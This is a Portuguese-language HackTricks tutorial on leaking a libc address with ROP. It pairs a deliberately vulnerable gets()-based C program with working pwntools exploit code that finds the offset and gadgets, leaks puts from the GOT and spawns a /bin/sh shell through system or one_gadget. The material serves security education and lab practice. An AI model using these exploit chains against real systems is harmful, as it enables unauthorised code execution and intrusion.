Vazando endereço da libc com ROP

Reading time: 10 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Resumo Rápido

  1. Encontrar o offset de overflow
  2. Encontrar o gadget POP_RDI, os gadgets PUTS_PLT e MAIN
  3. Usar os gadgets anteriores para vazar o endereço de memória de puts ou outra função da libc e encontrar a versão da libc (donwload it)
  4. Com a biblioteca, calcular o ROP e explorá-lo

Outros tutoriais e binários para praticar

Este tutorial vai explorar o código/binário proposto neste tutorial: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Outros tutoriais úteis: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Código

Nome do arquivo: vuln.c

c
#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - Modelo de vazamento de LIBC

Baixe o exploit e coloque-o no mesmo diretório que o binário vulnerável e forneça os dados necessários para o script:

Leaking libc - template

1- Encontrando o offset

O modelo precisa de um offset antes de continuar com o exploit. Se algum for fornecido, ele executará o código necessário para encontrá-lo (por padrão OFFSET = ""):

bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Execute python template.py um console GDB será aberto com o programa sendo encerrado. Dentro desse console GDB execute x/wx $rsp para obter os bytes que iriam sobrescrever o RIP. Finalmente, obtenha o offset usando um console python:

python
from pwn import *
cyclic_find(0x6161616b)

Após encontrar o offset (neste caso 40), altere a variável OFFSET dentro do template usando esse valor.
OFFSET = "A" * 40

Outra maneira seria usar: pattern create 1000 -- execute até ret -- pattern seach $rsp do GEF.

2- Encontrando Gadgets

Agora precisamos encontrar gadgets ROP dentro do binário. Esses gadgets ROP serão úteis para chamar puts para encontrar a libc sendo usada e, posteriormente, para lançar o exploit final.

python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

O PUTS_PLT é necessário para chamar a função puts.
O MAIN_PLT é necessário para chamar a função main novamente após uma interação para explorar o overflow novamente (rodadas infinitas de exploração). É usado no final de cada ROP para chamar o programa novamente.
O POP_RDI é necessário para passar um parâmetro para a função chamada.

Nesta etapa, você não precisa executar nada, pois tudo será encontrado pelo pwntools durante a execução.

3- Encontrando a biblioteca libc

Agora é hora de descobrir qual versão da biblioteca libc está sendo usada. Para isso, vamos vazar o endereço na memória da função puts e então vamos procurar em qual versão da biblioteca a versão do puts está nesse endereço.

python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Para fazer isso, a linha mais importante do código executado é:

python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Isso enviará alguns bytes até que a sobrescrita do RIP seja possível: OFFSET.
Em seguida, definirá o endereço do gadget POP_RDI para que o próximo endereço (FUNC_GOT) seja salvo no registro RDI. Isso ocorre porque queremos chamar puts passando o endereço do PUTS_GOT, já que o endereço na memória da função puts é salvo no endereço apontado por PUTS_GOT.
Depois disso, PUTS_PLT será chamado (com PUTS_GOT dentro do RDI) para que puts leia o conteúdo dentro de PUTS_GOT (o endereço da função puts na memória) e imprima.
Finalmente, a função main é chamada novamente para que possamos explorar o overflow novamente.

Dessa forma, conseguimos enganar a função puts para imprimir o endereço na memória da função puts (que está dentro da biblioteca libc). Agora que temos esse endereço, podemos procurar qual versão da libc está sendo usada.

Como estamos explorando um binário local, não é necessário descobrir qual versão da libc está sendo usada (basta encontrar a biblioteca em /lib/x86_64-linux-gnu/libc.so.6).
Mas, em um caso de exploit remoto, explicarei aqui como você pode encontrá-la:

3.1- Procurando pela versão da libc (1)

Você pode procurar qual biblioteca está sendo usada na página da web: https://libc.blukat.me/
Isso também permitirá que você baixe a versão descoberta da libc

3.2- Procurando pela versão da libc (2)

Você também pode fazer:

  • $ git clone https://github.com/niklasb/libc-database.git
  • $ cd libc-database
  • $ ./get

Isso levará algum tempo, seja paciente.
Para que isso funcione, precisamos:

  • Nome do símbolo da libc: puts
  • Endereço da libc vazado: 0x7ff629878690

Podemos descobrir qual libc provavelmente está sendo usada.

bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Obtemos 2 correspondências (você deve tentar a segunda se a primeira não estiver funcionando). Baixe a primeira:

bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Copie a libc de libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so para o nosso diretório de trabalho.

3.3- Outras funções para vazar

python
puts
printf
__libc_start_main
read
gets

4- Encontrando o endereço da libc baseado e explorando

Neste ponto, devemos saber qual a biblioteca libc utilizada. Como estamos explorando um binário local, usarei apenas: /lib/x86_64-linux-gnu/libc.so.6

Então, no início de template.py, mude a variável libc para: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Defina o caminho da biblioteca quando souber

Dando o caminho para a biblioteca libc, o restante do exploit será calculado automaticamente.

Dentro da função get_addr, o endereço base da libc será calculado:

python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

note

Note que o endereço base final da libc deve terminar em 00. Se esse não for o seu caso, você pode ter vazado uma biblioteca incorreta.

Então, o endereço da função system e o endereço da string "/bin/sh" serão calculados a partir do endereço base da libc e dada a biblioteca libc.

python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Finalmente, a exploração da execução de /bin/sh será preparada e enviada:

python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Vamos explicar este ROP final.
O último ROP (rop1) terminou chamando novamente a função main, então podemos explorar novamente o overflow (é por isso que o OFFSET está aqui novamente). Então, queremos chamar POP_RDI apontando para o endereço de "/bin/sh" (BINSH) e chamar a função system (SYSTEM) porque o endereço de "/bin/sh" será passado como um parâmetro.
Finalmente, o endereço da função exit é chamado para que o processo saia de forma adequada e nenhum alerta seja gerado.

Dessa forma, o exploit executará um _/bin/sh_** shell.**

4(2)- Usando ONE_GADGET

Você também pode usar ONE_GADGET para obter um shell em vez de usar system e "/bin/sh". ONE_GADGET encontrará dentro da biblioteca libc alguma maneira de obter um shell usando apenas um endereço ROP.
No entanto, normalmente há algumas restrições, as mais comuns e fáceis de evitar são como [rsp+0x30] == NULL. Como você controla os valores dentro do RSP, você só precisa enviar mais alguns valores NULL para que a restrição seja evitada.

python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

ARQUIVO DE EXPLOIT

Você pode encontrar um modelo para explorar essa vulnerabilidade aqui:

Leaking libc - template

Problemas comuns

MAIN_PLT = elf.symbols['main'] não encontrado

Se o símbolo "main" não existir. Então você pode encontrar onde está o código principal:

python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

e defina o endereço manualmente:

python
MAIN_PLT = 0x401080

Puts não encontrado

Se o binário não estiver usando Puts, você deve verificar se está usando

sh: 1: %s%s%s%s%s%s%s%s: não encontrado

Se você encontrar este erro após criar todo o exploit: sh: 1: %s%s%s%s%s%s%s%s: não encontrado

Tente subtrair 64 bytes do endereço de "/bin/sh":

python
BINSH = next(libc.search("/bin/sh")) - 64

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks